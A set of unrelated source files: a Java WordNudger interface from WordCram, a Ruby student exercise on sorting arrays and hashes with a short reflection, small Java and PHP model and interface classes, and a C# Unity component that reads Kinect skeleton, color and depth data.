 * This is why the WordCram passes in attemptNumber: it's the
 * number of times it's attempted to place the word. This could (for example)
 * scale the PVector, since the nudges don't accumulate (see above).
 *
 * @see RandomWordNudger
 * @see SpiralWordNudger
 *
 * @author Dan Bernier
 */
public interface WordNudger {

	/**
	 * How should this word be nudged, this time?
	 *
	 * @param word
	 *            the word to nudge
	 * @param attemptNumber
	 *            how many times WordCram has tried to place this word; starts
	 *            at zero, and ends at
	 *            (int)((1.0-word.weight) * 600) + 100
	 * @return the PVector to add to the word's desired location, to get the
	 *         next spot to try fitting the word
	 */
	public PVector nudgeFor(Word word, int attemptNumber);
}


text:
i_want_pets = ["I", "want", 3, "pets", "but", "only", "have", 2]
my_family_pets_ages = {"Evi" => 6, "Ditto" => 3, "Hoobie" => 3, "George" => 12, "Bogart" => 4, "Poly" => 4, "Annabelle" => 0}

# Person 3 Solutions

def my_array_sorting_method(source)
  sourceDup = source.dup
  # p sourceDup.sort_by{|word| word.to_s}

  return sourceDup.sort_by{|word| word.to_s}
end

# my_array_sorting_method(i_want_pets)

def my_array_sorting_method_hard(source)
  orderedArray = []
  characterAlphabetOrder = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z''a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']

  # Loop through input array
  for x in 0..(source.length - 1)

    #If orderedArray is empty
    if x == 0
      orderedArray[0] = source[x].to_s

    #If orderedArray has components that need to be referenced
    else

      #Loop through what is currently in orderedArray
      for y in 0..(orderedArray.length - 1)

        shouldBreak = 'false'

        #Loop through each leter in current orderedArray entry
        for z in 0..((orderedArray[y].to_s).length - 1)

          #If letter in orderedArray is lower in alphabet than letter of source
          if characterAlphabetOrder.index(orderedArray[y].to_s[z]) >characterAlphabetOrder.index(source[x].to_s[z])

            #shift orderedArray from index y over 1
            orderedArray[y + 1,orderedArray.length] = orderedArray[y,orderedArray.length]
            orderedArray[y] = source[x]
            shouldBreak = 'true'
            break

          #If letter in orderedArray is higher in alphabet than letter of source and we are at end of orderedArray
          elsif characterAlphabetOrder.index(orderedArray[y].to_s[z]) < characterAlphabetOrder.index(source[x].to_s[z]) && (orderedArray.length - 1) == y

            #add to end of array
            orderedArray[y + 1] = source[x]
            shouldBreak = 'true'
            break

          #If word in orderedArray is same as word in source or is the beginning of word in source
          elsif z == ((orderedArray[y].to_s).length - 1) && characterAlphabetOrder.index(orderedArray[y].to_s[z]) == characterAlphabetOrder.index(source[x].to_s[z])

            #shift orderedArray from index y over 1
            orderedArray[y + 1,orderedArray.length] = orderedArray[y,orderedArray.length]
            orderedArray[y] = source[x]
            shouldBreak = 'true'
            break

          #If letter in orderedArray is higher in alphabet than letter of source, move on to next word for checking
          elsif characterAlphabetOrder.index(orderedArray[y].to_s[z]) < characterAlphabetOrder.index(source[x].to_s[z])

            break
          end
        end
        if shouldBreak == 'true'
          break
        end
      end
    end
  end
  # p orderedArray
  return orderedArray
end

# my_array_sorting_method_hard(i_want_pets)

def my_hash_sorting_method(source)
  sourceDup = source.dup
  # p sourceDup.sort_by{|key, value| value}
  return sourceDup.sort_by{|key, value| value}
end

# my_hash_sorting_method(my_family_pets_ages)

# Identify and describe the Ruby method(s) you implemented.

  # .sort_by (http://ruby-doc.org/core-2.2.3/Enumerable.html#method-i-sort_by)
  # .length (http://ruby-doc.org/core-2.2.0/Array.html#method-i-length)
  # .dup (http://ruby-doc.org/core-2.2.3/Object.html#method-i-dup)
  # .to_s (http://ruby-doc.org/core-2.2.3/Fixnum.html#method-i-to_s)

# Release 1: Identify and describe the Ruby method you implemented. Teach your
# accountability group how to use the methods.

  # .sort_by sorts low to high as a default =>
    # [2, 1, 3].sort_by{ |i| i } will return [1, 2, 3].
  # you can reverse it be using .resverse or by negating the operand
    # [2, 1, 3].sort_by{ |i| i }.resverse will return [3, 2, 1].
    # [2, 1, 3].sort_by{ |i| -i } will return [3, 2, 1].
  # You can sort by mulitple attributes. So if you want to sort all an array of people by sex first then age
    # people.sort_by{ |p| [p.sex, p.age] }
  # You can sort by length of string
    # ['a','cat', 'LA'].sort_by{ |str| str.length } will return ['a', 'LA', 'cat'].

# Release 3: Reflect! What did you learn about researching and explaining your research to others?

  # My unrefactored/original code was the my_array_sorting_method_hard method which just used loops and indexing to create the sorted array. It was interesting to see the ruby source code for .sort_by and compare it to mine. They are structured differently to say the least. I have a triple-nested for loop that I did not see in Ruby's source code so I am assuming I could have refactored mine a bit. (I am not quite sure how because I need to loop through the original array, I need to loop through each letter, and I need to loop through the array I'm creating). It is crazy to think how much time and typing we will all save because of these methods. My sort_by method took > 60 lines of code and an hour to think through and create while using the Ruby .sort_by method used just 1 line and 5 minutes. Awesome.

  # The .sort_by method itself is destructive. I had to use a .dup.sort_by so that my sorting method itself wasn't destructive.

  # I learned from Gary about the .split method which would have been nice to know when I was creating my new array for sorting. When I needed to drop a string in the middle I would split the array by copy and pasting using indexing. (For example if 'b' came up in the loop and I had an array ['a','c'], I would copy index 1 and on and paste them starting at index 2. ['a', , 'c']. Then I would paste 'b' into index 1. ['a','b','c']). Split would have been nice.


text:
package org.mycat.web.model.cluster;

public class BlockSql {

	private String name;

	private String sql;

	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}

	public String getSql() {
		return sql;
	}

	public void setSql(String sql) {
		this.sql = sql;
	}

}


text:
package life.catalogue.api.vocab;

public enum MatchType {
  /*
   * The canonical name and authorship (if given) matches exactly
   */
  EXACT(null),

  /*
   * The name matches an orthographic variant of the name, authorship and/or rank (for family and above)
   * which is considered to be the same name still.
   */
  VARIANT(Issue.NAME_MATCH_VARIANT),

  /**
   * No existing name matching, but the name was newly inserted.
   */
  INSERTED(Issue.NAME_MATCH_INSERTED),

  /*
   * The name matched several names and could not be clearly disambiguated.
   * Usually only happens for canonical monomials without authorship.
   */
  AMBIGUOUS(Issue.NAME_MATCH_AMBIGUOUS),

  /**
   * No matching name.
   */
  NONE(Issue.NAME_MATCH_NONE);

  public final Issue issue;

  MatchType(Issue issue) {
    this.issue = issue;
  }
}


text:
<?php

namespace OpenOrchestra\BaseApi\Transformer;

use OpenOrchestra\BaseApi\Facade\FacadeInterface;

/**
 * Interface TransformerInterface
 */
interface TransformerInterface
{
    /**
     * @param mixed $mixed
     * @param array $params
     *
     * @return FacadeInterface
     */
    public function transform($mixed, array $params = array());

    /**
     * @param FacadeInterface $facade
     * @param array           $params
     *
     * @return mixed
     */
    public function reverseTransform(FacadeInterface $facade, array $params = array());

    /**
     * @return bool
     */
    public function isCached();

    /**
     * @return string
     */
    public function getName();

    /**
     * @param TransformerManager $manager
     */
    public function setContext(TransformerManager $manager);
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using UnityEngine;
using Kinect;

public class KinectSensor : MonoBehaviour, KinectInterface {
	//make KinectSensor a singleton (sort of)
	private static KinectInterface instance=null;
    public static KinectInterface Instance
    {
        get
        {
            if (instance == null)
                throw new Exception("There needs to be an active instance of the KinectSensor component.");
            return instance;
        }
        private set
        { instance = value; }
    }

	/// <summary>
	/// how high (in meters) off the ground is the sensor
	/// </summary>
	public float sensorHeight;
	/// <summary>
	/// where (relative to the ground directly under the sensor) should the kinect register as 0,0,0
	/// </summary>
	public Vector3 kinectCenter;
	/// <summary>
	/// what point (relative to kinectCenter) should the sensor look at
	/// </summary>
	public Vector4 lookAt;

	/// <summary>
	/// Variables used to pass to smoothing function. Values are set to default based on Action in Motion's Research
	/// </summary>
	public float smoothing =0.5f;
	public float correction=0.5f;
	public float prediction=0.5f;
	public float jitterRadius=0.05f;
	public float maxDeviationRadius=0.04f;
	//public bool enableNearMode = false;

	/// <summary>
	///variables used for updating and accessing depth data
	/// </summary>
	private bool updatedSkeleton = false;
	private bool newSkeleton = false;
	[HideInInspector]
	private NuiSkeletonFrame skeletonFrame = new NuiSkeletonFrame() { SkeletonData = new NuiSkeletonData[6] };
	private Vector4[] m_skeletonPosition = null;
	private float[] m_skldata = null;

	private byte[] handEvent = null;
	private bool m_isLeftHandGrip = false;
	private bool m_isRightHandGrip = false;

	/// <summary>
	///variables used for updating and accessing video data
	/// </summary>
	private bool updatedBackgroundRemoval = false;
	private bool newBackgroundRemoval = false;
	[HideInInspector]
	private Color32[] BackgroundRemovalImage;
	private Color32[] BackgroundRemovalImageTexture;
	byte[] m_BackgroundRemoval_data = null;

	/// <summary>
	///variables used for updating and accessing video data
	/// </summary>
	private bool updatedColor = false;
	private bool newColor = false;
	[HideInInspector]
	private Color32[] colorImage;
	private Color32[] colorImageTexture;
	private byte[] m_color_data = null;

	/// <summary>
	///variables used for updating and accessing depth data
	/// </summary>
	private bool updatedDepth = false;
	private bool newDepth = false;
	[HideInInspector]
	private short[] depthPlayerData;
	//private Color32[] depthImage;
	private Color32[] depthImageTexture;
	private byte[] m_depth_data = null;

	//image stream handles for the kinect
	private IntPtr colorStreamHandle;
	private IntPtr depthStreamHandle;

	private int depth_width = 640;
	private int depth_height = 480;
	private int video_width = 640;
	private int video_height = 480;

	float KinectInterface.getSensorHeight() {
		return sensorHeight;
	}
	Vector3 KinectInterface.getKinectCenter() {
		return kinectCenter;
	}
	Vector4 KinectInterface.getLookAt() {
		return lookAt;
	}

	void Awake()
	{
        KinectSensor.instance = null;
		if (KinectSensor.instance != null)
		{
			Debug.Log("There should be only one active instance of the KinectSensor component at at time.");
            throw new Exception("There should be only one active instance of the KinectSensor component at a time.");
		}
		try
		{
			// The MSR Kinect DLL (native code) is going to load into the Unity process and stay resident even between debug runs of the game.
            // So our component must be resilient to starting up on a second run when the Kinect DLL is already loaded and
            // perhaps even left in a running state.  Kinect does not appear to like having NuiInitialize called when it is already initialized as
            // it messes up the internal state and stops functioning.  It is resilient to having Shutdown called right before initializing even if it
            // hasn't been initialized yet.  So calling this first puts us in a good state on a first or second run.
			// However, calling NuiShutdown before starting prevents the image streams from being read, so if you want to use image data
			// (either depth or RGB), comment this line out.
			//NuiShutdown();

			int hr = NativeMethods.qfKinectInit();
            if (hr != 0)
			{
            	throw new Exception("NuiInitialize Failed.");
			}

			////////////////////////////////////////////////////////
			depth_width = NativeMethods.qfKinectGetDepthWidth();
			depth_height = NativeMethods.qfKinectGetDepthHeight();

			video_width = NativeMethods.qfKinectGetVideoWidth();
			video_height = NativeMethods.qfKinectGetVideoHeight();

			////////////////////////////////////////////////////////
			//init
			BackgroundRemovalImage = new Color32[video_width * video_height];
			BackgroundRemovalImageTexture = new Color32[video_width * video_height];
			m_BackgroundRemoval_data = new byte[video_width * video_height * 4];

			colorImage = new Color32[video_width * video_height];
			colorImageTexture = new Color32[video_width * video_height];
			m_color_data = new byte[video_width * video_height * 4];

			//depthImage = new Color32[depth_width * depth_height];
			m_depth_data = new byte[depth_width * depth_height * 4];
			depthPlayerData = new short[depth_width * depth_height];

			m_skldata = new float[20*4];

			handEvent = new byte[2];

			for (int i=0; i<skeletonFrame.SkeletonData.Length; ++i)
			{
				skeletonFrame.SkeletonData[i].eTrackingState = Kinect.NuiSkeletonTrackingState.NotTracked;

				skeletonFrame.SkeletonData[i].eSkeletonPositionTrackingState = new NuiSkeletonPositionTrackingState[20];
				skeletonFrame.SkeletonData[i].SkeletonPositions = new Vector4[20];

				for (int i_skl=0; i_skl<skeletonFrame.SkeletonData[i].eSkeletonPositionTrackingState.Length; ++i_skl)
				{
					skeletonFrame.SkeletonData[i].eSkeletonPositionTrackingState[i_skl] = Kinect.NuiSkeletonPositionTrackingState.NotTracked;
				}
			}
			////////////////////////////////////////////////////////

			DontDestroyOnLoad(gameObject);
			KinectSensor.Instance = this;
		}
		catch (Exception e)
		{
			Debug.Log(e.Message);
		}
	}

	void LateUpdate()
	{
		updatedSkeleton = false;
		newSkeleton = false;

		updatedBackgroundRemoval = false;
		newBackgroundRemoval = false;

		updatedColor = false;
		newColor = false;

		updatedDepth = false;
		newDepth = false;

		m_isLeftHandGrip = false;
		m_isRightHandGrip = false;

		m_skeletonPosition = null;
	}
	/// <summary>
	///The first time in each frame that it is called, poll the kinect for updated skeleton data and return
	///true if there is new data. Subsequent calls do nothing and return the same value.
	/// </summary>
	/// <returns>
	/// A <see cref="System.Boolean"/> : is there new data this frame
	/// </returns>
	bool KinectInterface.pollSkeleton()
	{
		if (!updatedSkeleton)
		{
			updatedSkeleton = true;

			float[] skldata = m_skldata;
			if (null != skldata)
			{
				int hr = NativeMethods.qfKinectCopySkeletonData(skldata);
				if(hr == 0)
				{
					newSkeleton = true;
				}

				int i_skldata = 0;

				for (int i=0; i<1; ++i)
				{
					skeletonFrame.liTimeStamp = (long)(Time.time * 1000);

					skeletonFrame.SkeletonData[i].eTrackingState =
						newSkeleton ? Kinect.NuiSkeletonTrackingState.SkeletonTracked
									: Kinect.NuiSkeletonTrackingState.NotTracked;

					for (int i_skl=0
							; i_skl<skeletonFrame.SkeletonData[i].eSkeletonPositionTrackingState.Length
							; ++i_skl, i_skldata+=4)
					{
						skeletonFrame.SkeletonData[i].eSkeletonPositionTrackingState[i_skl] =
								newSkeleton ? Kinect.NuiSkeletonPositionTrackingState.Tracked
											: Kinect.NuiSkeletonPositionTrackingState.NotTracked;

						skeletonFrame.SkeletonData[i].SkeletonPositions[i_skl] =
								new Vector4(skldata[i_skldata+0], skldata[i_skldata+1], skldata[i_skldata+2], skldata[i_skldata+3]);
					}
				}

				//default user
				m_skeletonPosition = skeletonFrame.SkeletonData[0].SkeletonPositions;
			}

			if (null != handEvent)
			{
				//handEvent
				for (int i=0; i<handEvent.Length; ++i)
				{
					handEvent[i] = 0;
				}

				try {
					NativeMethods.qfKinectCopyHandEventReslut(handEvent);
				} catch (Exception ex) {
					Debug.Log(ex);
				}

				m_isLeftHandGrip = handEvent[0] == 1;
				m_isRightHandGrip = handEvent[1] == 1;
			}

		}

		return newSkeleton;
	}

	NuiSkeletonFrame KinectInterface.getSkeleton(){
		return skeletonFrame;
	}

	Vector4[] KinectInterface.getSkeleton_defaultUser()
	{
		return m_skeletonPosition;
	}

	bool KinectInterface.getIsLeftHandGrip_defaultUser()
	{
		return m_isLeftHandGrip;
	}

	bool KinectInterface.getIsRightHandGrip_defaultUser()
	{
		return m_isRightHandGrip;
	}

	/// <summary>
	///The first time in each frame that it is called, poll the kinect for updated color data and return
	///true if there is new data. Subsequent calls do nothing and return the same value.
	/// </summary>
	/// <returns>
	/// A <see cref="System.Boolean"/> : is there new data this frame
	/// </returns>
	bool KinectInterface.pollColor()
	{
		if (!updatedColor)
		{
			updatedColor = true;

			byte[] data = m_color_data;
			if (null != data)
			{
				int hr = NativeMethods.qfKinectCopyVideoData(data);
				if (hr == 0)
				{
					byte tmp = 0;
					for (int i=0; i<data.Length; i+=4)
					{
						//swap red and blue
						tmp = data[i+0];
						data[i+0] = data[i+2];
						data[i+2] = tmp;

						//alpha
						data[i+3] = 255;
					}

					qfOpenCV.rgbaToColor32(m_color_data, video_width, video_height, 4, colorImageTexture);

					newColor = true;
				}
			}
		}

		return newColor;
	}

	Color32[] KinectInterface.getColor(){
		return colorImage;
	}

	Color32[] KinectInterface.getColorTexture() {
		return colorImageTexture;
	}

	/// <summary>
	///The first time in each frame that it is called, poll the kinect for updated depth (and player) data and return
	///true if there is new data. Subsequent calls do nothing and return the same value.
	/// </summary>
	/// <returns>
	/// A <see cref="System.Boolean"/> : is there new data this frame
	/// </returns>
	bool KinectInterface.pollDepth()
	{
		if (!updatedDepth)
		{
			updatedDepth = true;

			byte[] depth_data = m_depth_data;
			if (null != depth_data)
			{
				int hr = NativeMethods.qfKinectCopyDepthData(depth_data);
				if (hr == 0)
				{
					depthPlayerData = extractDepthImage(depth_data);
					newDepth = true;
				}
			}
		}

		return newDepth;
	}

	short[] KinectInterface.getDepth(){
		return depthPlayerData;
	}

	private Color32[] extractColorImage(byte[] buf)
	{
		int totalPixels = video_width * video_height;
		int i_byte = 0;

		Color32[] colorBuf = colorImage;

		for (int pix = 0; pix < totalPixels; ++pix, i_byte+=4)
		{
			colorBuf[pix].r = buf[i_byte+0];
			colorBuf[pix].g = buf[i_byte+1];
			colorBuf[pix].b = buf[i_byte+2];
			colorBuf[pix].a = buf[i_byte+3];
		}
		return colorBuf;
	}

	private short[] extractDepthImage(byte[] buf)
	{
		short[] newbuf = depthPlayerData;
		for (int i=0, i_byte=0; i<newbuf.Length; ++i, i_byte+=4)
		{
			newbuf[i] = (short)((buf[i_byte+1] << 8) | buf[i_byte+0]);
		}

		return newbuf;
	}

	bool KinectInterface.pollBackgroundRemoval()
	{
		if (!updatedBackgroundRemoval)
		{
			updatedBackgroundRemoval = true;

			byte[] data = m_BackgroundRemoval_data;
			if (null != data)
			{
				int hr = NativeMethods.qfKinectCopyBackgroundRemovalData(data);
				if (hr == 0)
				{
					byte tmp = 0;
					for (int i=0; i<data.Length; i+=4)
					{
						//swap red and blue
						tmp = data[i+0];
						data[i+0] = data[i+2];
						data[i+2] = tmp;
					}

					qfOpenCV.rgbaToColor32(data, video_width, video_height, 4, BackgroundRemovalImageTexture);

					newBackgroundRemoval = true;
				}
			}
		}
		return newBackgroundRemoval;
	}

	Color32[] KinectInterface.getBackgroundRemoval(){
		return BackgroundRemovalImage;
	}

	Color32[] KinectInterface.getBackgroundRemovalTexture() {
		return BackgroundRemovalImageTexture;
	}

	void OnApplicationQuit()
	{
		NativeMethods.qfKinectUnInit();
	}
}